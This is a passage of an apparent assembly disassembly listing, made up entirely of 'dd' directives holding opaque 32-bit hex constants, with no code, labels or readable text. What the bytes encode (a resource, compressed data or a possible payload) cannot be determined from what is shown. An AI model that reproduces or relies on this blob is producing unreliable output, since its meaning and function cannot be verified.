0CF187485h, 66105234h, 19A36FA9h, 7FD27860h dd 0A00DCEFh, 0AC626736h, 60E23F7Bh, 0D0294110h, 867F3D66h dd 19FE1A31h, 30EF989Dh, 0A9694C39h, 20C3F8F7h, 74629Fh dd 17C56049h, 9AAB2BAAh, 33993C01h, 5742C4A2h, 1320388Eh dd 51850C33h, 0CE022A10h, 4CD24D1Dh, 67BC61C3h, 17D36980h dd 9AAA5CE2h, 1DE46B00h, 0A036DBACh, 1C440E23h, 0FA9E2451h dd 291720Eh, 624841BFh, 0FBF5A449h, 0C1FF9AEh, 0D9D8B5Ah dd 17EC8A07h, 0AEA58580h, 99F9411Fh, 0E151E248h, 23F6D0h dd 0FD14DECh, 0FD2FCA69h dd 143E2D00h, 0AD08BAFEh, 532B00A1h, 4413711Dh, 0BE069E72h dd 48125E7Dh, 150F02D9h, 75FADC26h, 663B8C80h, 0E8C0704Ch dd 8DD7D9A1h, 0A06B0CA3h, 0AE8929D3h, 0BA264607h, 9C47FE2Ch dd 3D148ECh, 0D3B1E03Bh, 281FC9C8h, 0D28A3D70h, 248AC0FFh dd 39840Ch, 0AD57EA64h, 36228Ch, 8D4AF7B1h, 0D2BC863Ch dd 0E11D78A3h, 0E303F5BBh, 5794EBFh, 2A77AD18h, 0D888C0B4h dd 0F00397BAh, 0B1A6638h, 62210111h, 93F5A3C3h, 0A10AE341h dd 0B0A58727h, 12AC8914h, 38008DC4h, 0C9A36AA9h, 0ED851E62h dd 0AC7180FAh, 9FD21744h, 0F5570890h, 0BEB040A8h, 27DC561Eh dd 59891E1Fh, 9A3811D6h, 7E1D6424h, 0A5B0E06Fh, 749288B8h dd 0D5424964h, 800E162Dh, 0A6E8230Fh, 80DF00CFh, 0F6A1B1E2h dd 0E400C74Ch, 391498F0h, 61A724FCh, 0CFD358A6h, 2CA440FDh dd 7D00BC88h, 0C8E08569h, 0A98E210h, 0B47B181Ch, 90F703CEh dd 0C800289Bh, 168B230Bh, 0B822884Fh, 0DD4E0A8Fh, 12A0AA25h dd 608C1824h, 65241089h, 6A83C05Fh, 0F580174Fh, 630C9002h dd 5AB8A7BFh, 2FD60048h, 18449FB2h, 40D0E549h, 0CE653D8h dd 9829CB74h, 5E448C13h, 29CD4941h, 0C8C044Dh, 318F6ED0h dd 0F7AC3480h, 6474D2B1h, 658C3093h, 0A049A939h, 5447E388h dd 50874CE4h, 8BCDF0A2h, 0F1BAC032h, 864F20F2h, 0C800A83Ah dd 4B2EFDC7h, 0A46792Ah, 0AB0244Eh, 0D9CA1880h, 530E7264h dd 69AD22AEh, 8BD8100Dh, 0D428CC09h, 9A0C6469h, 39FA4B4Ah dd 901E7C0Ch, 58135288h, 84E2CA09h, 0EE24B002h, 0CEAC4890h dd 0B1E1DF01h, 2CD62A7Dh, 621FECh, 22AD619Ah, 0E1E2B4A9h dd 6F73B0C0h, 241001BBh, 8CB364h, 0F7A12B8Ch, 0BC66AE86h dd 2790C18h, 0FE2D5020h, 94A1DB89h, 20C0E4BCh, 0F9421BE0h dd 65261F20h, 34A894AEh, 4D4D5C90h, 280F07E4h, 8E3014A6h dd 489A79A0h, 1D00B0DEh, 3F49E1D3h, 0D102214Eh, 2C184F13h dd 682403A7h, 83F01048h, 0E34E450Ch, 11A8C16Bh, 22AA8180h dd 0CFB64DE3h, 2DB90A61h, 0B3EFB28Eh, 798C8F57h, 0BF710185h dd 0D3BBB917h, 0C841A812h, 660C657Ch, 10456260h, 0E1B400E4h dd 28DB2E1Fh, 4D504B71h, 98A94CC8h, 0A1A9F82Fh, 0E4083A05h dd 1A80AF61h, 3064E734h, 0CFB1F8C6h, 90C24AACh, 0C0E3C937h dd 7D3A90Ch, 0CC561C4Ch, 1007AB9Eh, 397AF0CFh, 8B31CA8Ch dd 4A6F29D7h, 444B0417h, 0B44475D5h, 280B4AF5h, 90EEF108h dd 696B8241h, 40705DBh, 48EB9A14h, 0C0AC80ADh, 0AFA1E4D7h dd 0DD865001h, 0D4C85F45h, 0FC2C76D4h, 1F74004Ch, 0B89B4BAh dd 7A30AB02h, 5F570905h, 3E8100CEh, 9D0ED3CAh, 11F6CADh dd 36C05850h, 0F96F9BE2h, 4D40016h, 81510229h, 0A7B14B9h dd 0A6BCAF1Eh, 0E06635C0h, 87A2A8h, 6EA9080Eh, 0DCF7E13Dh dd 0D10CF500h, 9B48D940h, 1016040Bh, 80A01C8Ch, 453AC514h dd 4400B7F0h, 0D189E13Ch, 219B7Fh, 835CD8CDh, 91228D6Ah dd 0CFBFE707h, 0ED11D2B0h, 0D8E3988Ah, 0E14B19Dh, 215077FCh dd 13266C2h, 0D1997848h, 57640B00h, 0A0E897CEh, 356C00F4h dd 9C074624h, 0FAE495C9h, 0F86F1300h, 0FA6562Ch, 0E93B00B8h dd 0A44754B9h, 0C4F691E4h, 3A94D300h, 517EDC68h, 7B8A0027h dd 859C3B0Eh, 0E4033C66h, 0FD5513C3h, 5245C89Fh, 886C01F5h dd 4808DBB2h, 2F2080C8h, 0C2B3E53Ah, 0B657009Eh, 0EF3F8A99h dd 0D6008B76h, 64702644h, 0E1C996h, 6B47C512h, 345EE8EEh dd 933D971Dh, 78F2CBC3h, 9DB7983Fh, 735100A3h, 56A8A0C9h dd 0AD7D3781h, 94EAB100h, 30EB38EDh, 177E0742h, 0F2393490h dd 6C40530Fh, 4B01AFBDh, 54C2BC57h, 42801A0Ah, 4AB8B00Ch dd 47EA9B30h, 0D88E3300h, 0A4C55F75h, 9696066h, 0C0AD3423h dd 0AFCE3B00h, 0FB3A78E1h, 1C9003h, 3544CA96h, 118BE52Dh dd 0B4DB3B01h, 0BCE851EEh, 48A5F450h, 0F404027Eh, 0C2E36FB2h dd 0DCE4C481h, 0B7F02E86h, 8EA300A8h, 7F4E6608h, 150110BBh dd 0F0F7BE6Eh, 0CBC4E29Fh, 0F8A800EEh, 40CE9E6h, 97000652h dd 51AD72ABh, 7C27458h, 0C427EC62h, 8523CFDDh, 0C6A89525h dd 19008FEDh, 0FBBF1C5h, 2C3E50B1h, 803CAAB2h, 1D9E12D5h dd 16006AB5h, 2572A79Dh, 3EC9BD86h, 5987E5D9h, 8076406Eh dd 36CD904Eh, 6745C700h, 0CB21A99Ah, 0CCD0C0EDh, 5B3FBC2Ah dd 6310E960h, 9025292Fh, 0A2480FD7h, 0C54081B4h, 385F3D8Eh dd 0A782C800h, 0E4328376h, 67E700EBh, 0FAB474B1h, 1373235Ch dd 7A5E9003h, 8142CFE5h, 0D7C0E1BBh, 1A081C01h, 0CE89406Eh dd 3CE5457Dh, 0AFADD50Eh, 85B4E388h, 0F2D3C00Dh, 439E05D9h dd 0A2C636h, 89CB294h, 24263B6Ah, 230087A4h, 0FEB639ACh dd 0F5574830h, 1F46BF03h, 0B7A85BD3h, 0B800DC50h, 0F37ABD0Bh dd 0ED4BA0Eh, 0E31FDABEh, 8CE1B6E0h, 40001A11h, 32F22D8Ah dd 0EA46C7A6h, 88B0A0DFh, 501C1D8Fh, 40599E87h, 7A278493h dd 0F7007091h, 0F8973D7Dh, 361307Ch, 1103DD9Fh, 900E3A5h dd 7EFF0A49h, 0E227FD44h, 7090A00Dh, 0DEF5005Eh, 45D250D9h dd 8200C399h, 6EBC3C30h, 3ECC1116h, 59BCEAE3h, 4B36AF87h dd 0F4BA58h, 13B41C31h, 1E008A52h, 0E5CD2084h, 0C9854BDh dd 5CE93DBBh, 0C400DA5Ah, 0E4558FFCh, 0E2EDE0E7h, 0C3260748h dd 0C0FE0A10h, 49063951h, 7D07DC90h, 9484CEB7h, 6C01B48Ah dd 0D444EDADh, 0DADC1184h, 6E0480BEh, 0A1002614h, 0E65C64C6h dd 3085BDFh, 9E531725h, 2BA73685h, 9281D026h, 40F91C00h dd 80237BFh, 4ACF00C9h, 0F4BD1846h, 1B07160Ch, 0DDFBD5BCh dd 6BBE7280h, 0AD2A09A6h, 6E8099DFh, 0CF038574h, 61C6B30Ah dd 0C780CC01h, 806D2E3h, 27B8128Eh, 25440041h, 9E07EFA1h dd 53F6920Ch, 0BF16E16Bh, 482F11C0h, 5DBBD0C0h, 0E68F4F75h dd 43773B3Dh, 0A26E8880h, 6499A6FBh, 48482B73h, 35E903DCh dd 12FD17E2h, 0C03FC0F9h, 0D4B32DF0h, 0A54FCD00h, 0F375CA3Ah dd 0A9B10224h, 4D60F93Bh, 0A6A0460h, 98A0534Eh, 45900095h dd 0D00FDBDAh, 0EB002F54h, 1B79042Eh, 2AE5C2h, 0AB8E1FE9h dd 42A4F044h, 1650FA00h, 1E29FC97h, 10670E66h, 9CE02A3Ch dd 5F837BEEh, 0D10169F8h, 0E30E88F4h, 0F07EF686h, 0ED0FEC68h dd 0E0121735h, 4501A69Bh, 72820073h, 3046F97Ah, 5B00BA87h dd 433708E5h, 4E04B0h, 513BCBF3h, 0B9EEFE6Dh, 9B31A500h dd 2CEDAAC5h, 28B10070h, 55E6929h, 5F3FFB2Eh, 0C46E009Dh dd 0DF6C20E2h, 0DB100317h, 0CF1669D5h, 0FB50900h, 0EC17414h dd 8A91076Dh, 3731B9CCh, 0D52B4128h, 0C335D47Dh, 40084F0h dd 80DBE722h, 3FD088h, 0A7732EE0h, 9D1A51CBh, 23422403h dd 0C8FC541Bh, 3E2BDD09h, 74BE9BACh, 2FA8DC07h, 0CF14D173h dd 0E1CD028h, 0EF7D3F02h, 0C1F6329Ch, 3180C41Bh, 2D5323B3h dd 1C1BE836h, 0C819828Ah, 408A8DFh, 6EF1ADC5h, 1048C783h dd 5CC480F5h, 345874Ch, 822BD52Ch, 0D4C2F0D3h, 42E901DBh dd 0A2D1198h, 53E0803Bh, 745BE329h, 0E62500F5h, 1E302ED5h dd 0D307B8BFh, 5E090CC5h, 4D505750h, 0F33801F6h, 99416377h dd 5F19805Dh, 76A1E378h, 0A9C200DAh, 8B18BD9Ah, 9300A483h dd 6423286Bh, 11AF650h, 0EC81407h, 0CC3F199Bh, 153CFE2Bh dd 88A0F329h, 90003A5Fh, 0C42FF688h, 9C8A17h, 1E9BE4FFh dd 0B6A567FDh, 6B02102h, 0E0A95C89h, 0BE3094h, 0CF83107Eh dd 4BFDD95Bh, 0B1C1B201h dd 28B4206Ch, 887B2080h, 0A57D40DBh, 9C41E01Ch, 4D5B0D80h dd 783FBh, 535723BAh, 394BB6D2h, 17C59000h, 930EF894h dd 85DF0096h, 8402F086h, 0F207EA88h, 4466C8Fh, 8CC16FF0h dd 0ABCC0683h, 9E69403h, 1FDC000h, 2A4967Ah, 8F322CF9h dd 0C820F4h, 0AB5E0FCAh, 416AA187h, 0CE770500h, 143FD46Eh dd 9ED3006Ch, 0BA39D58Dh, 0AFEA030h, 0A518B800h, 0F27D14AAh dd 3BF5F252h, 63834159h, 2FBCFFCAh, 7F95B688h, 8B170B00h dd 76FBF22Eh, 99A31C75h, 1DEB8092h, 36F8BA84h, 0A40058F2h dd 2206F9CBh, 0C6C45Eh, 559CD507h, 3A028881h, 0EE9DC918h dd 0E73111h, 0E662968h, 0ACD00BA5h, 0D4A0C6E8h, 7324FD21h dd 0A300C839h, 0CE5B9435h, 34620080h, 0B0C46D7Dh, 58128F9Fh dd 600029B4h, 2746E79Ah, 7497202h, 603E991Fh, 0B06B8657h dd 0A9CC9300h, 2C3A9F97h, 0EE7C0068h, 0ADB2B68Dh, 0AC6051A7h dd 0DA23465Ch, 0FF2500C6h, 4005E665h, 4803E414h, 6D1822BDh dd 1A7EA8B9h, 98C80216h, 472F707Ch, 0A6939083h, 0ABFB20EBh dd 446F8CE0h, 65F3A500h, 1F418F24h, 7D4C4CD2h, 54C94E12h dd 17EFA24h, 2555027Fh, 8020BC32h, 1C7C4218h, 21DEBBh dd 0C9F81B39h, 7DD64517h, 5931E51Ch, 20229600h, 0F0DE4D75h dd 50F17CA4h, 6EA0F4h, 8862409Eh, 8866FCDh, 9698C201h dd 82789BFDh, 0EC43834h, 0FCD14BA9h, 0C19FBECEh, 0B71ECABFh dd 0EA2080DEh, 0A4A65B6Ah, 0D16814F6h, 0CC0EA84Ch, 0DBEC8BAh dd 50202E3Bh, 0B555C77Ch, 0E23F0A7Ch, 0F4AF8077h, 0FB88453Eh dd 0A1390009h, 0B0F586A0h, 9A018A6Eh, 7FFE2E9h, 6820B9E8h dd 0AA9700DFh, 0FE33E104h, 8A00DC09h, 32D508FBh, 181EF324h dd 9E926E3h, 910318EFh, 0BA12022Ch, 0EE80BDF1h, 3B74A2EDh dd 78D02A41h, 1227A6Eh, 0F1B90F15h, 80148284h, 0C98A43E1h dd 24784C20h, 89FBECh, 5622D9BCh, 6E009ECFh, 696B143Bh dd 581B3532h, 8C00E23Fh, 0C93B655h, 4F00D8ADh, 0B1BDECB4h dd 2808Eh, 0FCB9E696h, 0EDFB4E13h, 0AF21E212h, 6012h, 8FB38EECh dd 0CAD80ADCh, 94FC20h, 0C974245Fh, 6A000766h, 71DC4EA8h dd 3A160889h, 81803BC7h, 557F25BFh, 0DB12280Fh, 8062711h dd 3E393C8Ah, 0ECD453B6h, 92A6060Fh, 482FD377h, 96B4AD00h dd 0EDA5EA50h, 30C50F9Eh, 9BA0DFB9h, 0A8E7F1C6h, 9C87BF00h dd 4E073801h, 0BC903Ch, 0B7D6F2B5h, 9F396362h, 55E1510Fh dd 0EC73801Eh, 0FC456CBAh, 79116009h, 365F6D3Eh, 0DF4C7FF2h dd 0A0007C3Ch, 392CD04Ah, 46F69FAh, 58B96CF5h, 0FC44C042h dd 51F3FF9h, 0A0C0BFAEh, 197E8B2Ah, 0D3430241h, 46E3778Eh dd 4A2729E0h, 0DC8DDE00h, 0A774DB1Bh, 9980A0C3h, 0C8CA89C8h dd 0DF01A0BCh, 0BF549C4Dh, 0C7FEA5h, 481CAC88h, 901715A6h dd 0FF3C4018h, 1B3E18h, 0EF5D784h, 20DC9F95h, 0CCBE9200h dd 0B23677C5h, 0E3670085h, 6E1C6BEAh, 801C3264h, 8F403B1Bh dd 956D709Ah, 53D900EEh, 50DF8EF2h, 1C39EB2Ch, 0D1007D66h dd 0A833BE7Fh, 81F81Fh, 5E91DF9h, 2E6E53ADh, 3C0044EAh dd 0E788CB42h, 0E00399h, 0CCBD8446h, 8D201FE1h, 119F0D00h dd 0ED3EFDEBh, 6E6D0025h, 1D906C9Ah, 0C31E3D01h, 0AC3BC2Fh dd 0D8B7B0D3h, 0F25ECAh, 241CA566h, 28EC2192h, 62E16D00h dd 5BB65082h, 40C7002Fh, 0F92AC301h, 3F00F5FAh, 7F1F8926h dd 38171B9h, 0AFEB3356h, 9CE0E65Ch, 0DD004DB3h, 0F9856ED6h dd 3AC01EA4h, 0F71896h, 0C5AAC1FDh, 0F620A06Ah, 90666D00h dd 7BB5A6E8h, 0EF00170h, 7704A37Fh, 0FB9440F3h, 0F2008B4Ch dd 211AD2B4h, 4CC8737Eh, 39771606h, 2A0228C1h, 4568F801h dd 8F6C1D60h, 613FDF74h, 1100FA30h, 0A48D3AFDh, 2C89D5C8h dd 459F72h, 0B9E19DF7h, 800023F2h, 98B63719h, 5026B705h dd 0AB9C9Fh, 0B1CAF8FFh, 9EC3E996h, 0D501EFE8h, 0C86C4EA0h dd 0C9D0F304h, 672E41Fh, 777EF6B2h, 0BC0709A6h, 42D524B0h dd 65528140h, 0FFEA008Dh, 0E6E9F996h, 0E006DD6h, 66F6FC3Ch dd 1EE8B2Fh, 654A580Bh, 0C45DEFBCh, 0F8E97BFBh, 0FA262344h dd 6300ACDDh, 16F8DF66h, 4FAD1C7Eh, 0C42E0029h, 0E7B58C1Dh dd 0BC800350h, 3307AE76h, 0F69A903Bh, 983E3CF3h, 704ABFFh dd 0F036545Fh, 42E6B21Bh, 0C712C380h, 6C00580Ch, 0E4C4A23Bh dd 0E1B4E2h, 0D934187Fh, 0DDD5C780h, 0CA9EB900h, 23ADF607h dd 92B60095h, 0E057397h, 8B002DBDh, 627AEBEDh, 0FE0FD083h dd 0AEA01E8h, 2EFD749Bh, 8E2CCA0h, 0D5E4F100h, 9F866484h dd 0E0C406BAh, 6887934Bh, 2B7A9102h, 883BCEh, 0EB1EFA81h dd 44120h, 0A453A771h, 73E43FDBh, 0AA78A801h, 0D27C9154h dd 0A82C4BEAh, 0EEC1311h, 0E50AA5D9h, 0C5BEE080h, 5300513Ch dd 8609926Bh, 747312h, 67AC6948h, 0DC75FB2Eh, 21B3D300h dd 0F790799Ch, 0F3A400BCh, 286BA2B4h, 0E7002C38h, 4A42C3D5h dd 185E563h, 0DFC57CDCh, 0CC6C64B4h, 8A6059F8h, 9114A668h dd 39C379A0h, 6A2F08FFh, 2101A6D0h, 2487B02Dh, 0F880D563h dd 16CFADC2h, 80000417h, 0BDB302C0h, 6A7F15h, 198AA591h dd 0D593DD4Bh, 0B1332500h, 36E6DA7Eh, 157C0FBCh, 0C4002A4Fh dd 0C1E0A6F6h, 0F4A97901h, 6432349Eh, 8031D8h, 906BF017h dd 0DDE02EDBh, 0DA8DE150h, 0DFC60E00h, 0D6DE0A64h, 23F059h dd 999156D4h, 0AE86C342h, 87374718h, 1D40AD08h, 2C25D2h dd 0BF2C2DFh, 970003BDh, 0C01BB9F9h, 2484894Eh, 3AD41E51h dd 3B2B0E00h, 0F8E3B747h, 6DDD301Dh, 6CC41F5Ch, 6580C317h dd 1C2C1AEEh, 0C07A73FAh, 3DBD2F33h, 2D031BA9h, 65C9252Eh dd 0A050FB0Ch, 0ADAC52h, 9038A286h, 21CBE1CDh, 2A04E574h dd 0D83987A1h, 76494C0h, 0A66A01ABh, 0BB6EB5C0h, 0E8F02018h dd 3CA07526h, 3166706Ch, 10B020EBh, 0EF8AC44Ah, 0C3F9C412h dd 61522000h, 0FC3BC2C5h, 7A2971CDh, 0F8F0059h, 1AE13757h dd 3600DDC4h, 0CD7F07B1h, 0DACB86h, 0D681263h, 668E11E5h dd 0B75EC309h, 7348801Ch, 34D464h, 3A98FF6Ch, 68DB1D88h dd 0F3D3423Fh, 57E08500h, 0B2E48414h, 5DFCA0DFh, 4FCD008Dh dd 0DD4E0C9Dh, 5A00720Eh, 23CE56BBh, 3C38B8BAh, 47001EA9h dd 4DACCF0Ah, 9F00020Bh, 53DED9C9h, 71F86BEBh, 0F6A23817h dd 8DA10880h, 0F029E9FCh, 2D1D32E2h, 380FFF84h, 180E4349h dd 0B84E9726h, 24800C09h, 80686BFAh, 0C2DCB090h, 3F006EF5h dd 63ACAF9Eh, 0D860A1h, 57078CB2h, 0E3868534h, 1580A600h dd 5E6763AFh, 0F366006Ch, 22A9DCDFh, 1F289765h, 8A02802Eh dd 7A2AFF6h, 9DD44072h, 84B900CBh, 46B6578h, 9AFA62E3h dd 0EE2B8C07h, 0C5F04966h, 0FB739Dh, 4E02A6CEh, 592E1844h dd 8013363Dh, 5BBB6283h, 0C28C5Fh, 512BCBCFh, 0BE0F8A4Bh dd 0A9C7F700h, 0F697E5D8h, 71CE0058h, 0FF31F49Dh, 9900943Ah dd 395C17Dh, 3E211278h, 5DBD9ECDh, 465BE80h, 20CB5018h dd 0BDF03B00h, 0ECEA831Ch, 0FAC2008Dh, 0B423A244h, 0A8280AF1h dd 9028C056h, 6F008B54h, 0E10E9A1Ch, 7147FBDh, 4C0CB931h dd 0C896F362h, 0FD121089h, 74AD8B3h, 3F171F01h, 469BFF92h dd 5C6179F8h, 1200C282h, 66CF4ED0h, 3B19F3ACh, 0B37A9C20h dd 890470h, 86BB5187h, 9E271D42h, 6B0DCC98h, 90EE1B11h dd 5A6FE0h, 1815C83Ch, 769EAC3Eh, 1100917Ch, 0A6A53DF0h dd 3F8962h dd 4A0893FFh, 43FCEA70h, 400A8F4h, 6102BDA3h, 3FA0277Fh dd 22009DCAh, 8C307772h, 147886A4h, 17715A18h, 632E6350h dd 0B6EA7867h, 8CA24B8Ah, 0E5C08253h, 7719150Dh, 7131BC5Bh dd 300EBDE0h, 1BB1F101h, 0B9039E1Dh, 0E2660796h, 0A568A1FDh dd 70E95880h, 8394CD2Ah, 6A3DF401h, 4F54E8D0h, 1FCCE8h dd 279C3EF6h, 0CF9B3395h, 0C5759107h, 3C500F8Ch, 1F4CB6ECh dd 0C0791274h, 54788F57h, 3B01AF3Ah, 0CD2CE784h, 0C7C87599h dd 0EF090066h, 6423763Fh, 0D6908A03h, 0B9F5D00h, 1341678Eh dd 0B34A003Ah, 6ADAA2AEh, 0BC026237h, 0E735CA04h, 73C0A753h dd 5A132760h, 0C2C3B8Eh, 9E223E00h, 921EA621h, 199B2501h dd 7AE4CC8Fh, 0E8E76FC4h, 1409C16Eh, 7488EDC9h, 0AB3B0B90h dd 0C81C2653h, 27A32100h, 0A8646Eh, 636867D1h, 8B9220C7h dd 425C200h, 8562C6F8h, 4A0D26CAh, 22803D80h, 0C359B98Eh dd 0C2061838h, 0C66090Eh, 688B026Ch, 505CB37Dh, 8996E5C0h dd 8102CD3Dh, 0AED8EECCh, 48BAD261h, 1FFC3F03h, 0A583A4E6h dd 0A6ECC19Dh, 0BA87F401h, 5E0E477Fh, 810FA3D2h, 0CE36252h dd 0F6116CD0h, 1D5CB844h, 8097BAA7h, 3D0D9DB4h, 0F4001447h dd 0C7DF8941h, 7AE7C831h, 5B2F03BBh, 33C17084h, 5CF91EA0h dd 941EC0Bh, 0B7DC8097h, 1E1A5352h, 1F6C783h, 9EECAEF1h dd 0B9187405h, 967B9500h, 1726455Ah, 0D87411D9h, 130A0070h dd 890E6D1h, 0DFEC00AFh, 91B296C6h, 9490C541h, 0CAD6EA07h dd 6930E166h, 0E62F7FEh, 0A5DD1629h, 2F67D420h, 4D001C0Dh dd 7397F1Fh, 0E0CD8D7h, 8FECA1C3h, 9EDDCA0h, 0F3008804h dd 0B40BCF0h, 3876BEE5h, 0DE80E8E3h, 5A696251h, 28095E36h dd 806A7D95h, 0EF188590h, 997C2ECBh, 0B4FA14DCh, 760A6800h dd 0A6355E05h, 1AE03900h, 0A2F521D0h, 32FCA0CAh, 618D0077h dd 0AE0293BEh, 41E8EA95h, 0A60DDC04h, 178247E4h, 9CD44B51h dd 585EECD0h, 0DCE00B0Ah, 3E00BBBCh, 0AF696449h, 33F8802Ch dd 61E49100h, 4B7337h, 0AC842445h, 2E555105h, 0CC7C4E00h dd 3FD7FD3Ah, 701A00DCh, 0B1409DB9h, 0B002F94Ah, 43A0D9DFh dd 50205033h, 0ECAC70h, 27A5CB56h, 0BE0750D0h, 8D42F802h dd 0C0FCAE45h, 1AC9B60h, 0D9C87658h, 0CC317810h, 162C4C4Dh dd 93008EF6h, 991ED09Ch, 0AFBF1473h, 0AC01B002h, 80EF1DCCh dd 0F0AA47F4h, 48D643Ah, 18416209h, 0D500003Fh, 7D660F7h dd 597D8311h, 1363A0B0h, 3009DAABh, 2131A0D7h, 6AE6EA24h dd 124961E0h, 80C2B44Bh, 689DC140h, 0CBF23100h, 5BD6D3E7h dd 89EB006Bh, 11BD71BEh, 9A043786h, 1DAAE918h, 0C6B8A080h dd 15930F38h, 0E740F995h, 0AB59F2FBh, 708CFE2Eh, 7A094200h dd 982561h, 7036C9BFh, 1EEBB0ECh, 6ABDDF00h, 0ADE1F48Eh dd 1130023h, 80B74171h, 0BC3B40C6h, 45A08081h, 21CC43C3h dd 701F0030h, 65C8648Eh, 0A3000F01h, 0E8400E28h, 4413CDh dd 0CC41BA75h, 153AD8FDh, 0D6C61F01h, 6503216Eh, 0A3D78040h dd 0F0E789Fh, 0CF85F7A0h, 5FAFFBC0h, 113CD2E3h, 36939E3Bh dd 25010CACh, 63DED7E7h, 397E9F4h, 0F75BF2ADh, 71B89D67h dd 2F1CAA95h, 0C80053C7h, 8174D7A5h, 0FF790E87h, 805F222Dh dd 99B8D386h, 7065AEEh, 2E7A26E0h, 44FB07D0h, 0C078251Fh dd 3A925649h, 1F9816B0h, 6E4C3B00h, 0AABAAD6Ah, 7E8F3h dd 4E3FC0D9h, 0C8840E68h, 2BA4B000h, 1CCF233Ah, 8CD23004h dd 0AF8DD158h, 49B80A00h, 2A6EB541h, 4CB2ADh, 71F5655Ah dd 851476CEh, 5DA1C050h, 0A830D315h, 32660FECh, 82F24037h dd 0D20C5F74h, 4CBC0129h, 60544F43h, 1E09B588h, 0F43E8Ah dd 0ED1C40E8h, 0F7C6001Ah, 0B773C378h, 660048EBh, 2A32B94Ch dd 0F82F06C7h, 148C00BBh, 0AF867A8Fh, 3000C5FFh, 0ABD27601h dd 0A3C209h, 5FCB71F9h, 6C4F5C96h, 0C9DCFF00h, 3173BD40h dd 8A1B039Bh, 45F47471h, 47C505B0h, 0E3602106h, 40C817h dd 249E4080h, 0A792AFFDh, 82E87898h, 0BB5A750Ah, 0BA03941Fh dd 0F8A286B8h, 484ADEE9h, 510644FEh, 89335C64h, 781082Eh dd 0B0138000h, 3A2CC6BEh, 4400A078h, 0EB7200Ah, 0D10005D7h dd 0F9FFF30h, 0F3F97Ch, 830299D0h, 88CA19B8h, 64474201h dd 74C1D9D5h, 1E0BCE0h, 17561392h, 0F4D83509h, 0D300F04Fh dd 0C1940C3Eh, 0A4644Eh, 0E5E7E4DFh, 0EE4A9ABFh, 4F108800h dd 2FAFC58h, 8040963Eh, 0FB73965Eh, 9A071699h, 0A81350F3h dd 52713330h, 8B830003h, 0A715DD21h, 0A0004E8Eh, 45351A1Ch dd 2FE717h, 292657B6h, 6C79E955h, 8DB43A00h, 0C3E3B9A7h dd 8B0E1EA8h, 0B06661h, 0B9AFE31h, 1501126Dh, 43AB540Ah dd 0A6ECF4CEh, 0B64726EAh, 449500ACh, 5C61515Eh, 0A379DD00h dd 20E2E5E0h, 0BAC807EBh, 0F06C9B9Eh, 2AA63601h, 90B75600h dd 3B2652Dh, 0F47E0FAEh, 95C1D883h, 241D44BEh, 203CB73Ch dd 87FC008Ch, 0EF2E432Bh, 0A4F6EEh, 313F56A1h, 0D8B06675h dd 95DAFB00h, 0F94C3DFh, 3DFC00E9h, 0B4513DEh, 93003A76h dd 0BA4DA5C9h, 1D0BC22h, 7EB4438Ch, 7081CD36h, 1AE0599Bh dd 898E263Fh, 28B169h, 836CBA4h, 45621A6Ah, 7DD0106Ch dd 86101350h, 9D500800h, 95AD0FBEh, 0F6E500F8h, 651FEA40h dd 68011D6Bh, 0DA6F8C3Ch, 0BBE0C85Bh, 68E1F49h, 17704229h dd 18503C60h, 95A76218h, 7719E868h, 0D02C03BEh, 6FFA8F25h dd 870800DDh, 14DF0475h, 0DD096071h, 4B3062E6h, 4046B964h dd 28FEB911h, 0BE63844Ch, 743C44h, 3F08241Ch, 81BB0291h dd 15339B84h, 3BAE8D30h, 94804DE0h, 0D1989B3h, 9F03558Ch dd 0FA7AA338h, 3299D8C2h, 40BAF7h, 601ACBB4h, 3FDE2C16h dd 993A6100h, 74DB2578h, 0C20F0691h, 31F235AAh, 0AE44B800h dd 160DA0B2h, 1C6794Dh, 59845CEFh, 0D48DCB48h, 0DD0E4C83h dd 0A0F86B51h, 0DFBF440Fh, 487ECB11h, 2419D000h, 7B0AABA5h dd 8053BBB6h, 0A380518Fh, 0CF938789h, 71EF30A0h, 4C1B2A24h dd 497200B4h, 6FBAF6C4h, 5C2CCF04h, 3381CD0h, 0F4BB8E53h dd 0A01DBBEDh, 0E692DA17h, 20F7827h, 8B82FE0Bh, 0BCA05F32h dd 73DC79D3h, 49A75E00h, 4DC2D8FCh, 0CE57510h, 8734572Ah dd 36F4D488h, 0E995EE0Dh, 0A4EDA951h, 2DC0CCh, 52973A56h dd 884B0FFCh, 0FDE47F7Eh, 57098600h, 49CE1D6Dh, 6BE20608h dd 0C947BF17h, 0D2166A7Dh, 5FFB1Ah, 0C5CF285h, 336800C0h dd 4580BE7h, 81F77CD0h, 0D7363BADh, 30D418E8h, 87889CE6h dd 0F33AC444h, 0B25A004Ch, 6FE8288Dh, 8A7205h, 83CA3A60h dd 7976B3CBh, 0D7C77800h, 5C295861h, 0D0F01F0Bh, 95E6065Ah dd 310018C0h, 30DB9391h, 0E56FFECh, 485B0CEEh, 389C0193h dd 0E05AF478h, 4B00E18Ch, 0BE2F811Eh, 181FEB5Ch, 21065B6Fh dd 4C000A42h, 31C68D7Bh, 7FE05EFBh, 0FA1A0761h, 93C156F2h dd 0CCD75335h, 28986C30h, 0FDC5FE18h, 6F6920h, 0E05F3FC9h dd 52C86681h, 4F1886E1h, 5C506A39h, 0CB0C4524h, 0BA403F0Fh dd 0DC332800h, 0DF979B81h, 0D09CC89h, 32F21A21h, 0D2FC8307h dd 0A020630Ch, 40BABB01h, 0F8EC7840h, 8010D800h, 0F1A3F536h dd 91B8063Ah, 70639408h, 294F670Ch, 7783B8E2h, 0EBB102FFh dd 49C3B9D7h, 31CEE60h, 0E363ED1Dh, 0EC200CC0h, 336C9Eh dd 28168E5Eh, 663D7345h, 0A2C3481Dh, 0D022A900h, 17355CF6h dd 107ABh, 377E5458h dd 42F86B12h, 0E9F78D02h, 0E05232BCh, 1B1A1D9h, 162013F9h dd 4B1AD8B9h, 0F000AA04h, 839D498Dh, 18C01995h, 0A8CA8052h dd 4F8B003Bh, 811461D0h, 0F900E58Ch, 4D6F83B5h, 5052D5EFh dd 846B1415h, 0F708BE10h, 114E2311h, 711CEE8h, 2BA11C3h dd 0F2289728h, 86389B3h, 0F6FD20AAh, 8929CB60h, 38021Eh dd 4FAC9F8Fh, 0A1AF17AEh, 132BB803h, 0D0273C4Ah, 391994Ch dd 9E716A58h, 9006D92h, 2CA474B7h, 0A909CCh, 0AFBD25BFh dd 0AE55C9FBh, 946E3Fh, 23EBD270h, 0E5CF88h, 0FC965A1Ch dd 0E0494A24h, 3FDF6B00h, 0CF028CAh, 31BD3B23h, 7DD5CE80h dd 0C0AF2983h, 0C92AEE00h, 0E1562B5h, 233401EAh, 3FCFD669h dd 265DC4A8h, 94574400h, 